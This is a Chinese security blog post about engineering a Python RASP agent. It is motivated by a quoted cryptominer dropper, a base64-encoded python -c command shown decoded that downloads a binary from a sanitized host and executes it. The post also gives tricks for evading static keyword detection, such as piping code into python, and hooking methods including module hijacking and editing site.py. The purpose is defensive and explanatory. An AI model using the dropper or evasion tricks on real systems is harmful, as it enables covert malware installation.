天天看點

Python RASP 工程化:一次入侵的思考

前言

今天講的内容會很深,包括一些 Python的進階用法和一些自己創造的黑科技,前半部分内容你們可能聽過,後半部分内容就真的是黑科技了。。。

深入的研究和思考,總會發現很多有意思的東西。每一次的研究,都不會是無緣無故的,下面開始我們今天的故事。(注意文末有花絮)

Tips: RASP,全稱應用運作時自我保護解決方案,可以簡單了解為部署在應用環境的監控防禦程式。

萬事有因果

本次的研究 來源于 對一次入侵手法的思考,衆所周知,在linux主機上,挖礦木馬比較流行。現在挖比特币的相對少了,又有挖門羅币的。這些木馬的植入不會說直接傳檔案上去,這樣動作太大,更多的是通過執行shell指令,遠端下載下傳檔案并執行 。以如下情況為例,很特别,這是一個通過Python指令植入的挖礦木馬:

python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'

通過base64解密之後的内容(ip脫敏了):

import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");

通過base64隐藏真實代碼是一個常用的方式,不能說這樣做很高明,這條指令特征相對還是比較明顯了。

現有的防禦辦法是靜态分析,通過抓取Python 程序參數,比對關鍵字,比如exec,decode,base64 就會很容易發現。但是如果咱們腦暴一下做一次靜态政策繞過,你會發現靜态分析是多麼的脆弱。

1.繞過 base64

"base64" = 'case64'.replace('c','b') = '1base641'[1:7]

2. 繞過decode (或者直接不用編碼)

str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')

3.終極絕招(妙用管道,讓你抓不到Python參數)

echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python

相信到第3步,靜态分析已經窮途末路,你連資料都沒有了。

這3次繞過是想說明一個問題,Python語言很靈活,尤其和shell結合後,靜态分析這條路已經解決不了實際問題。

問題出在哪呢?問題出在Python語言本身,文法的靈活對靜态分析是緻命的。我總結了這麼一句話,大家可以回味一下:

當字元串可以當作代碼執行時,靜态分析的盡頭也就到了

那該怎麼解決呢?從Python語言本身出發,監控整個Python的動态行為,這就是Python RASP。

研究Python RASP值不值得花時間呢? 你隻需要知道每個linux主機上都會預裝Python環境,你就知道它的威脅了。

說實話,有開源的PHP RASP,JAVA RASP,還真的沒有Python RASP,下面的研究完全是一個摸索的過程。

在研究的過程中,我碰到兩次僵局,窮途陌路之感,差一點以為Python RASP 不能發揮很大的作用。

Monkey Patch 與 依賴注入

Python RASP的行為監控,簡單來說就是hook關鍵函數,将函數的參數和傳回值,送回政策進行過濾。

(1) Monkey Patch

說到hook,首先想到的是Monkey Patch這種方法,對于Python的理念來說,一切皆對象,我們可以動态修改Python中的對象。舉個例子:

Python RASP 工程化:一次入侵的思考

在主函數中,修改open内置函數,給open添加的了日志列印的功能。運作效果如下,成功的列印出了日志:

Python RASP 工程化:一次入侵的思考

函數調用順序如下:

open('1.txt','r') ->__call__ ->_pre_hook  -> post_hook -> return

但是你有沒有發現問題,也就是說我們需要将hook代碼添加到使用者代碼之前,這不現實?

現有業務中這麼多項目,這麼多腳本,每個項目的代碼,我都要改的話,我猜業務同學會殺政策祭天。是以Monkey Patch 這種方式暫時放棄了,換個思路。

(2)依賴注入

如果大家之前做過dll劫持,有一種方式是根據dll加載順序的先後進行劫持的,同樣python中我們也可以用這種方式來做。以import os為例,Python是如何找到os子產品呢?搜尋順序如下:

目前目錄 -> $PYTHONPATH -> Lib庫目錄 -> site-package 第三方子產品路徑

我們要利用的就是$PYTHONPATH環境變量指定的目錄,在這個目錄下,建立os.py檔案,import os就不會去 Lib庫目錄 中查找子產品,進而實作了劫持。 我們既可以劫持函數,也可以劫持類。

2.1 劫持os子產品下的system函數

首先在目前pythonpath路徑下建立os.py檔案,然後重載一下os子產品,最後使用_InstallFcnHook改變system。

2.2 劫持socket子產品下的_fileObject類

劫持類,我們需要用到Python中元類的概念。元類就是用來建立類的類,函數type實際上是一個元類。

元類的主要目的就是為了當建立類時能夠自動地改變類,使用元類來劫持類再合适不過了。需要用到的主要方法和屬性如下:

  • __metaclass__:你可以在寫一個類的時候為其添加__metaclass__屬性, Python就會用它來建立類。__metaclass__可以接受任何可調用的對象,你可以在__metaclass__中放置可以建立一個類的東西
  • __new__:是用來建立類并傳回這個類的執行個體
  • __call__:任何類,隻需要定義一個__call__()方法,就可以直接對執行個體進行調用,用callable來判斷是否可被調用
  • __getattribute__:定義了你的屬性被通路時的行為

劫持fileObject類,首先在目前pythonpath路徑下建立socket.py檔案,然後使用_installclshook動态修改此類,當通路_fileobject的屬性方法時,傳回到_hook_writeline 和 _hook_readline。

Python RASP 工程化:一次入侵的思考

依賴注入這種方法,有一個很大的缺陷,就是内置子產品中的類和函數沒辦法劫持。以__builtin__内置子產品為例,這個子產品是Python虛拟機中内置的,在虛拟機啟動之前就已經加載完畢,不會再去pythonpath中去查找,常見的open函數,decode函數都是沒辦法劫持的。

雖然使用Monkey Patch能解決,但是依舊有上面所說的原因,沒辦法工程化,這就很苦惱。

 破局 到 再次入局

出現僵局總得解決,有一點可以确定的是 Monkey Patch 可以hook内置函數,那要解決的問題就是如何讓hook代碼永遠在在使用者代碼之前運作,這樣我們的hook才能有效控制函數調用。

腦洞大開

在使用者代碼運作之前是誰運作呢?肯定是Python虛拟機先運作。如果Python虛拟機啟動的過程中,預加載了一些子產品,你把我們的代碼插入這些子產品中,不就可以比使用者代碼先運作了!!!

有時候真的是需要腦洞,事實證明我走對了。網上所有關于monkey patch 的資料,都是在教你修改使用者代碼,添加hook函數,實作動态修改,這種方式還真沒有,可以加個雞腿了。

腦洞開完之後,下面就需要進行苦逼的分析,你要分析Python虛拟機的初始化過程,必須要看Python源代碼了。我就不帶大家看代碼了,給出一個Python虛拟機子產品大緻的加載過程。

Python RASP 工程化:一次入侵的思考

Python虛拟機在設定子產品路徑時,其中的第三方子產品路徑是加載site.py子產品進行設定的。Python源碼部分如下:

Python RASP 工程化:一次入侵的思考

以Windows py2.7為例,打開D:\Python27\Lib目錄下的site.py檔案,将我們在第二節中的hook代碼 引入到檔案末尾即可,這樣無論運作什麼樣子的使用者代碼,都會首先加載我們的hook代碼。

Python RASP 工程化:一次入侵的思考

本以為到此就結束了,可是才發現剛剛入坑而已。因為就在我打算hook内置 __builtin__子產品str類的decode時,出現了異常。

Python RASP 工程化:一次入侵的思考

google了一下異常資訊,得出一個結論:Monkey Patch可以修改内置子產品中的函數,但是沒辦法修改内置子產品中的類屬性,比如str的decode函數就沒辦法了。

其實到這就可以結束了,因為大部分子產品,我們都可以hook住了,但是感覺有缺憾,不夠完美,還是有漏的,束縛了RASP的能力,是以又有了接下來的黑科技,開腦洞吧。。。

腦洞黑科技

 這時候能用的技術都用完了,真是窮途末路了。。。需要點靈感!!!

腦洞時間

之前寫java程式的時候,使用過JNI技術,也就是java的C接口,很多java做不到的事情,使用C接口就可以做到,還可以通路java對象。聯想到Python Monkey Patch失敗的問題,很有可能是在Python層做的禁止,是否可以通過Python C API操作對象呢?

每一個類對象都有一個__dict__,裡面包含着每個類的屬性資訊,例如如果我們想從str取出decode函數,可以這麼幹:

str.__dict__["decode"]

是以咱們隻要擷取__dict__屬性,對這個屬性進行修改,就可以達到替換的目的。咱們使用C API來擷取:

Python RASP 工程化:一次入侵的思考

通過patch_builtin函數,我們就可以擷取__dict__對象,然後使用setattr和getattr修改屬性即可,由于我們不改變原有的函數,隻是收集日志,是以基本上對虛拟機運作沒有影響。最後實驗一下效果:

Python RASP 工程化:一次入侵的思考

 到此為止,Python RASP的所有的技術點都結束了。。。呼吸一口新鮮空氣。。。

亦正亦邪

 技術點結束了,下面就需要落地了。Python RASP整體分為兩部分:Agent和Server,Agent負責hook函數,收集函數日志,并發給Server,Server負責處理日志資料,并制定相應的政策進行過濾報警。

Python RASP 工程化:一次入侵的思考

在落地的過程中,有以下問題需要注意:

  1. 資料壓制:Agent在采集函數日志的時候,因為很多Python程式都是做周期性任務,重複資料會很多。
  2. 相容性: Python RASP 對于Py2和Py3要進行相容性處理。
  3. 自保護:其實對于Python RASP有很多逃逸的方式,對此我們要進行加強,下一篇我們會講解逃逸和加強。

在設計政策的過程中,注意收集一些執行指令和網絡的函數,在下一篇我會列舉出來。

大家有沒有想過Python RASP中使用的技術,是不是特别像木馬後門。這可能就是所謂的技術本沒有好壞,看你怎麼用罷了。

最後

關注公衆号:七夜安全部落格

Python RASP 工程化:一次入侵的思考
  • 回複【1】:領取 Python資料分析 教程大禮包
  • 回複【2】:領取 Python Flask 全套教程
  • 回複【3】:領取 某學院 機器學習 教程
  • 回複【4】:領取 爬蟲 教程
  • 回複【5】:領取 編譯原理 教程 
  • 回複【6】:領取 滲透測試 教程 
  • 回複【7】:領取 人工智能數學基礎 教程

本文章屬于原創作品,歡迎大家轉載分享,禁止修改文章的内容。尊重原創,轉載請注明來自:七夜的故事 http://www.cnblogs.com/qiyeboy/

本文章屬于原創作品,歡迎大家轉載分享,禁止修改文章的内容。尊重原創,轉載請注明來自:七夜的故事 http://www.cnblogs.com/qiyeboy/